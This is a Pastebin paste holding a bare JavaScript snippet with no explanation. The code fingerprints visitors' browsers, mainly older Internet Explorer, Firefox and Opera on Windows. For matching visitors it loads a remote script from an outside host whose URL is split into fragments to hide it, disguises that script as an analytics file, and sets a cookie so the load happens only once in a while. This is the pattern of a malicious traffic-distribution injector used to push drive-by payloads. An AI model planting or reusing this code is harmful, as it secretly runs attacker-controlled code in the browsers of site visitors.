Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- (function() {
- var ua_v = navigator.userAgent;
- var pu = [
- [new RegExp('MSIE', 'i'), 1],
- [new RegExp('Trident', 'i'), 1],
- [new RegExp('(Windows NT 5.1(.*) Firefox\/\\d)|(Windows NT 6.[0-3](.*) Firefox\/([3-9].[0|5|6]|1[0-9]|2[0-7]))', 'i'), 1],
- [new RegExp('Opera', 'i'), 1],
- [new RegExp('SeaMonkey', 'i'), 0]
- ];
- var po = [
- [new RegExp('Windows NT', 'i'), 1]
- ];
- function filter(p_v, u_v) {
- var have_allowed = false;
- var allowed = false;
- for (var i = 0; i < p_v.length; i++) {
- var p = p_v[i][0];
- var a = p_v[i][1];
- if (a) {
- have_allowed = true;
- if (p.test(u_v)) {
- allowed = true;
- }
- } else {
- if (p.test(u_v)) {
- return false;
- }
- }
- };
- if (have_allowed && !allowed) {
- return false;
- } else {
- return true;
- }
- };
- if (filter(pu, ua_v) && filter(po, ua_v)) {
- (function() {
- var tdsCook = 'x-tds-app';
- var tdsCookVal = 1;
- if (!getCookie(tdsCook) == tdsCookVal) js();
- function js() {
- var s = document.createElement("script");
- s.type = 'text/javascript';
- s.src = "" + "http:" + "/" + "/20" + "min" + ".eu/" + "js/1" + "8/9" + "/ga" + ".js" + "?ap" + "p" + "_" + "ke" + "y" + "=169" + "8bb4" + "4f0f" + "9dc4c" + "43e6a" + "be0a9" + "3874c" + "0";
- var html = document.documentElement;
- html.insertBefore(s, html.lastChild);
- setCookie(tdsCook, tdsCookVal, {
- 'expires': 259200
- });
- }
- function getCookie(name) {
- var matches = document.cookie.match(new RegExp("(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)"));
- return matches ? decodeURIComponent(matches[1]) : undefined;
- }
- function setCookie(name, value, options) {
- options = options || {};
- var expires = options.expires;
- if (typeof expires == "number" && expires) {
- var d = new Date();
- d.setTime(d.getTime() + expires * 1000);
- expires = options.expires = d;
- }
- if (expires && expires.toUTCString) options.expires = expires.toUTCString();
- value = encodeURIComponent(value);
- var updatedCookie = name + "=" + value;
- for (var propName in options) {
- updatedCookie += "; " + propName;
- var propValue = options[propName];
- if (propValue !== true) updatedCookie += "=" + propValue;
- }
- document.cookie = updatedCookie;
- }
- })();
- }
- })();
Advertisement
Add Comment
Please, Sign In to add comment